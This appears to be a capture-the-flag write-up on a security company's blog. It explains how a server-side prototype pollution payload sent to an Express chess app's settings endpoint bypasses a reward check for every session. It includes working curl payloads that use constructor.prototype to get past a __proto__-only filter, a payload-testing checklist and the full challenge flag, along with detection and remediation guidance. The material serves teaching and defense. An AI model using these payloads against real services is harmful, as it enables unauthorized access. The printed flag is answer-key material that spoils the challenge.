CyberMap'e Dön
CyberMap
Anasayfa
Ekip
İletişim
Blog'a Dön
Blog

Fool’s Mate: Revenge — Prototype Pollution to Global Authorization Bypass

Haluk Baran Akbulut
Haluk Baran Akbulut
12 Temmuz 202613 Dakika Okuma

Room: Fool’s Mate: Revenge

A chess trainer web application awards a flag once a visitor solves a one-move checkmate puzzle. On the version tested, that reward could be unlocked for every visitor to the site — not just the person attempting the puzzle — using a single web request that had nothing to do with chess and required no login. No credentials, no privileged access, and no interaction with the puzzle itself were needed to trigger it.

The root cause is server-side prototype pollution (see Section 3): a settings endpoint merges attacker-supplied JSON into server state without properly restricting property names, letting a request reach Object.prototype and change what an unrelated authorization check evaluates to for every session. The bug surfaced by mapping the app’s endpoints from its client-side JavaScript rather than brute-forcing paths, which pointed straight at the one route that merges JSON into server state (see Section 10 for the full step-by-step).

Contents

  • 1. Recon
  • 2. Attack Flow
  • 3. The Vulnerability
  • 3.1 Root Cause
  • 3.2 Why constructor.prototype Equals __proto__
  • 3.3 Why an Unrelated Authorization Check Was Affected
  • 4. Exploitation Walkthrough
  • 5. Dead Ends
  • 6. Secondary Finding: Verbose Error Disclosure
  • 7. Real-World Impact
  • 8. Detection Guidance
  • 9. Remediation
  • 10. Methodology Summary
  • 11. Takeaways

1. Recon

The target (TARGET_IP:3000, an Express application named “Endgame Trainer”) is a single-page chess UI: the client is presented with a mate-in-one position, and solving it is intended to unlock a reward.

$ curl -s -i http://TARGET_IP:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
...
<title>Endgame Trainer</title>

X-Powered-By: Express is worth noting at this stage — the Node/npm ecosystem has a long, well-documented history of “deep merge” utilities (lodash.merge, deep-extend, hand-rolled Object.assign replacements) that are pollutable by default. This is not conclusive on its own, but it raises the prior for a pollution-class bug.

Rather than enumerating paths via brute force, the client-side JavaScript bundle, js/app.js, was reviewed directly — it names every backend route the frontend calls:

EndpointMethodPurpose
/api/stateGETFetch current board FEN
/api/movePOSTSubmit a move ({from, to, promotion})
/api/resetPOSTReset the board
/api/settingsPOSTPersist UI preferences (theme, piece set, animation speed)

Two elements of the client code were relevant. First, the finalize() handler:

function finalize(data) {
  if (data.flag) {
    showFlag(data.flag);
  } else if (data.locked) {
    showSystemNotice(data.message || 'Checkmate! Reward is locked for this account.');
  }
}

Checkmate produces one of two server responses: one includes a flag, the other does not. The branch is determined server-side. Second, the savePrefs() function sends a JSON object to /api/settings, which is merged into server-held state:

async function savePrefs() {
  const prefs = { theme, pieceSet, animationMs };
  const res = await fetch('/api/settings', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(prefs)
  });
  ...
}

A JSON body merged into server-held state and partially echoed back is the most common real-world prototype pollution entry point, and was examined next.

The mate-in-one (a back-rank mate, Ra1–a8#) was played against a clean session to confirm the gate exists and is closed by default:

$ curl -s -c jar.txt -X POST http://TARGET_IP:3000/api/reset
$ curl -s -b jar.txt -X POST http://TARGET_IP:3000/api/move \
    -H "Content-Type: application/json" -d '{"from":"a1","to":"a8"}'
{"ok":true, "...": "...", "status":"checkmate", "winner":"white",
 "locked":true,
 "message":"Checkmate! No reward for you.",
 "reason":"reward gate closed: session.config.unlocked is not set"}

The reason field discloses the internal check directly; this is addressed separately in Section 6.

2. Attack Flow

The vulnerable code and the code it compromises reside in two unrelated features. There is no conventional data flow between the settings endpoint and the reward check — the only connection between them is the shared, mutable Object.prototype.

Attacker Request
      |
      v
POST /api/settings
(merge routine filters "__proto__", not "constructor")
      |
      v
Object.prototype.unlocked = true   <-- GLOBAL, process-wide, persists until restart
      |
      +-----------------------------+-----------------------------+
      v                                                           v
Victim Session A                                           Victim Session B
(never sent the payload)                                   (never sent the payload)
      |                                                           |
      v                                                           v
POST /api/move (checkmate)                                 POST /api/move (checkmate)
reads session.config.unlocked                               reads session.config.unlocked
      |                                                           |
      v                                                           v
inherited "true" -> flag returned                          inherited "true" -> flag returned

A single request to a preferences endpoint alters the outcome of an authorization check in an unrelated route, for every session handled by the process.

3. The Vulnerability

3.1 Root Cause

Prototype pollution occurs when attacker-controlled JSON is recursively copied onto an object using target[key] = value, without excluding the special key names JavaScript uses to reach an object’s prototype: __proto__, and constructor.prototype. If target is a plain {}, both of those paths lead to the same location — Object.prototype, shared by every plain object in the process.

This application’s merge function blocked the literal string "__proto__" — a common, incomplete mitigation — but not "constructor"/"prototype":

Blocked, no effect:

$ curl -s -X POST http://TARGET_IP:3000/api/settings \
    -H "Content-Type: application/json" \
    -d '{"theme":"forest","__proto__":{"isAdmin":true}}'
{"ok":true,"preferences":{"theme":"forest"}}

Not blocked — bypass:

$ curl -s -X POST http://TARGET_IP:3000/api/settings \
    -H "Content-Type: application/json" \
    -d '{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'
{"ok":true,"preferences":{"theme":"forest"}}

Technical nuance: both requests return an identical-looking response. JSON.stringify serializes only an object’s own enumerable properties, never inherited ones, so preferences.unlocked never appears in a response body even after pollution succeeds. Impact can only be confirmed by observing behavior elsewhere in the application that reads a property without an explicit hasOwnProperty check — the response to the polluting request itself is not informative.

3.2 Why constructor.prototype Equals __proto__

Every plain object in JavaScript exposes two equivalent paths to the same shared prototype:

{}.__proto__ === Object.prototype               // true
{}.constructor === Object                        // true
{}.constructor.prototype === Object.prototype     // true

Any recursive merge that walks into target[key] for a nested object, and that nested object already exists on target — which is true for both __proto__ (via the inherited accessor) and constructor (via inheritance) — will recurse into it and begin assigning attacker-controlled keys onto the real Object.prototype. A denylist that stops at __proto__ blocks only the most obvious payload shape and leaves this equivalent path fully open. This is one of the most common incomplete fixes for CWE-1321 in production code: early patches for lodash.merge, deep-extend, and numerous hand-rolled Object.assign replacements had this exact gap before later hardening.

Technical nuance: a literal {"__proto__": {...}} in a JSON body does not pollute anything by itself. JSON.parse creates "__proto__" as a genuine own data property on the parsed object, bypassing the accessor, so the payload is inert until a merge routine later performs target[key] = ... with key === "__proto__" on a target lacking its own such property. Whether that reaches the real Object.prototype or merely shadows it depends entirely on how the merge function is written — which is also why a __proto__ string filter alone gives an incomplete guarantee.

3.3 Why an Unrelated Authorization Check Was Affected

The checkmate handler’s reward check reads as follows, reconstructed from observed behavior:

session.config = session.config || {};   // fresh {}, no OWN "unlocked" key
if (session.config.unlocked) {
  return res.json({ ...,  flag: FLAG });
}
return res.json({ ..., locked: true, reason: "reward gate closed: session.config.unlocked is not set" });

session.config.unlocked is a plain property read, and property reads traverse the prototype chain. Once Object.prototype.unlocked = true exists anywhere in the process, every session.config object — created before or after the pollution — inherits it as a default value, and the check passes for all sessions.

This is the core of the impact: the vulnerability and the authorization decision it defeats live in two unrelated features (/api/settings preferences vs. /api/move checkmate reward logic), with no data flow between them beyond the process-wide, mutable Object.prototype that the entire application implicitly trusts.

4. Exploitation Walkthrough

Step 1 — confirm the gate is closed for a clean session: see Section 1 above.

Step 2 — send the pollution payload (single unauthenticated request):

curl -s -X POST http://TARGET_IP:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'
{"ok":true,"preferences":{"theme":"forest"}}

The response contains no error and no indication of success. Object.prototype.unlocked is now true for the entire process.

Step 3 — confirm the effect is global, not session-scoped, using a brand-new cookie jar that never sent the payload:

curl -s -c victim.txt -X POST http://TARGET_IP:3000/api/reset
curl -s -b victim.txt -X POST http://TARGET_IP:3000/api/move \
  -H "Content-Type: application/json" -d '{"from":"a1","to":"a8"}'
{"ok":true, "...": "...", "status":"checkmate", "winner":"white",
 "flag":"THM{pr0t0_p0ll... [REDACTED] ...r33}"}

Reveal full flag

THM{pr0t0_p0lluted_th3_r3f3r33}

The chess move itself is unrelated to the vulnerability; it is only the trigger condition for the reward check. Starting position 6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1 has Black’s king confined to the back rank by its own pawns with no defender, so Ra1–a8# mates in one: {"from":"a1","to":"a8"}.

5. Dead Ends

The following payload variants were also tested:

PayloadResult
{"__proto__":{"unlocked":true}}No effect — __proto__ explicitly filtered
{"__proto__":{"polluted":"yes"}}No effect (same reason)
{"constructor":{"prototype":{"unlocked":true}}}Works

Common source-leak paths (package.json, server.js, .env, .git/HEAD) all returned 404 — no server source disclosure was available. GET /api/settings also returned 404 (POST-only route, no method-based information leak).

6. Secondary Finding: Verbose Error Disclosure

Independent of the pollution bug, the locked response discloses the literal expression gating the reward:

"reason": "reward gate closed: session.config.unlocked is not set"

This is a CWE-215 (debug information exposure) finding. It discloses the exact object path (session.config) and property (unlocked) used in the authorization decision, reducing exploitation from a search problem to a direct, targeted payload. Authorization failure messages returned to the client should not describe the internal reason for the failure; the detail should be logged server-side and a generic message returned instead.

7. Real-World Impact

This challenge is a minimal reproduction of a bug class with a record of causing production impact:

  • Kibana (CVE-2019-7609): prototype pollution in a visualization plugin escalated to remote code execution via a timelion expression gadget.
  • lodash (CVE-2018-3721, CVE-2019-10744): merge/mergeWith/defaultsDeep were pollutable, affecting a large share of the npm ecosystem transitively.
  • Authentication middleware in multiple real Node applications has been defeated the same way — if (user.isAdmin) or if (req.session.role === 'admin') behave identically to this challenge’s unlocked flag: falsy by default, truthy for every session once polluted.
  • The same bug class exists client-side ($.extend(true, ...) and equivalents), typically chained into DOM XSS via a polluted default later passed to innerHTML or a template engine.

The broader implication is that prototype pollution functions as an authorization-bypass primitive rather than a self-contained bug. Any merge of untrusted JSON into a plain object — anywhere in the application or in a transitive dependency — that does not filter __proto__/constructor/prototype is a potential bypass for every if (obj.someFlag) check in the process, including in code that shares no call path with the vulnerable merge function.

8. Detection Guidance

  • Review merge/clone/extend code, not just the string __proto__. Any hand-rolled recursive merge function should be read in full and checked for denial of all three of __proto__, constructor, and prototype — ideally via an allowlist of expected keys rather than a denylist of dangerous ones.
  grep -RnE "for\s*\(.*in\s|Object\.keys\(.*\)\.forEach|\.assign\(|merge\(|extend\(|defaultsDeep\(" --include=*.js
  • Run dependency scanners. Known-vulnerable versions of lodash, deep-extend, merge-deep, hoek, and similar packages are caught by standard tooling:
  npm audit
  npx snyk test
  • Send the baseline __proto__ payload first. {"__proto__":{"polluted":true}} against any endpoint that persists settings/preferences/config.
  • If filtered, try the constructor.prototype bypass. {"constructor":{"prototype":{"polluted":true}}} — this is the single most common gap left by a __proto__-only denylist.
  • Do not rely on the response body. Test for behavioral side effects from a separate, fresh session/request instead of expecting the polluting request’s own response to show anything.
  • Target property names that resemble feature flags or roles. isAdmin, unlocked, debug, role, verified — informed by anything the application’s error messages disclose.
  • Use a generic canary when no gadget is obvious yet. Polluting toString or valueOf with a non-function value reliably breaks code paths that implicitly coerce objects to strings/numbers, confirming pollution even without a clear authorization bypass in view.

9. Remediation

Quick fix:

  • Allowlist accepted keys. Explicitly allow only theme, pieceSet, and animationMs on /api/settings, and reject anything else — more robust than enumerating dangerous key names, and a small change to ship.
  • Read security-relevant flags with hasOwnProperty. Change the checkmate gate to Object.hasOwn(session.config, 'unlocked') (or Object.prototype.hasOwnProperty.call(...)) instead of a bare truthy read. This alone neutralizes the impact even if the merge bug remains present.
  • Remove internal reasons from client-facing errors. Strip the reason field from the response and log it server-side only.

Defense in depth:

  • Build user-derived objects with no prototype. Object.create(null) removes the prototype chain entirely, so there is nothing to pollute into even if a dangerous key slips through.
  • Use a maintained, hardened merge library if one is genuinely needed. lodash ≥ 4.17.21 patches the known pollution gadgets; keep it enforced via npm audit in CI.
  • Disable the __proto__ accessor at the runtime level. Running Node with --disable-proto=throw (Node ≥ 12) makes any access to the accessor throw instead of succeeding silently. This does not stop the constructor.prototype variant used here — treat it as a baseline mitigation, not a complete fix.
  • Freeze Object.prototype as a circuit breaker. Object.freeze(Object.prototype) causes any pollution attempt to fail silently or throw, in services with no legitimate reason to extend built-in prototypes at runtime. Test carefully first, since some dependencies monkey-patch prototypes at startup and freezing must happen after that.

10. Methodology Summary

  1. Fingerprinted the stack (Express) from response headers.
  2. Read the client-side JavaScript instead of blind directory brute-forcing, revealing every backend endpoint and the two-branch (flag vs. locked) checkmate response.
  3. Played the mate-in-one against a clean session to confirm the reward gate exists and captured its verbose failure message.
  4. Identified /api/settings as the only endpoint accepting a JSON object merged into server-held state.
  5. Tested the standard __proto__ payload — blocked by an incomplete denylist.
  6. Pivoted to the constructor.prototype equivalent — succeeded silently, with no observable difference in the response.
  7. Verified the impact was global, not session-scoped, by checking the reward gate from a completely independent, never-polluted session.
  8. Captured the flag.

11. Takeaways

  • A __proto__-only denylist is not a complete fix. It provides a false sense of security, since constructor.prototype reaches the identical object and is one of the most common bypasses for this class of incomplete patch.
  • Prototype pollution’s danger comes from decoupling. The vulnerable code and the code it compromises need not share a call stack, a module, or even an author’s understanding of what is security-relevant — they only need to both operate on plain JavaScript objects.
  • An unremarkable response is not proof of failure. A pollution payload that returns a completely normal-looking response should be treated as inconclusive, not negative — impact must be verified independently, against a clean, separate session.
  • Verbose internal error messages are reconnaissance material. The reason field in this application turned a search problem into a one-shot, targeted payload.
  • Audit your own merge logic today. If you maintain a Node service, find every place your code merges, extends, or deep-clones an object built from request input, and check whether it’s an allowlist or a denylist. If it’s a denylist, it’s probably missing constructor/prototype just like this one was.

İçindekiler

Contents1. Recon2. Attack Flow3. The Vulnerability3.1 Root Cause3.2 Why constructor.prototype Equals __proto__3.3 Why an Unrelated Authorization Check Was Affected4. Exploitation Walkthrough5. Dead Ends6. Secondary Finding: Verbose Error Disclosure7. Real-World Impact8. Detection Guidance9. Remediation10. Methodology Summary11. Takeaways
Haluk Baran Akbulut

Haluk Baran Akbulut

Administrator

Son Yazılar

Aynı Araçlar, Farklı Sonuçlar: Sızma Testinin Hukuki Gerçeği

17 Şubat 2026
CyberMap Group

CyberMap Group, dijital savunma alanında inovasyonu artırmak için eğitimi, araştırmayı ve uygulamalı laboratuvarları bir araya getiriyor.

Ekosistem

  • ›Ar-Ge Merkezi
  • ›Donanım Laboratuvarı
  • ›Mentörlük
  • ›Hizmetler

Kaynaklar

  • ›Blog
  • ›Hardware Lab Blog
  • ›GitHub

Şirket

  • ›Kurumsal Eğitim
  • ›Danışmanlık
  • ›Sızma Testi
  • ›Ekip
  • ›İletişim

Yasal

  • ›Kullanım Koşulları
  • ›Gizlilik Politikası
  • ›Çerez Politikası
  • ›Sorumluluk Reddi

© 2026 CyberMap Group

CyberMap Group tarafından geliştirilmiştir.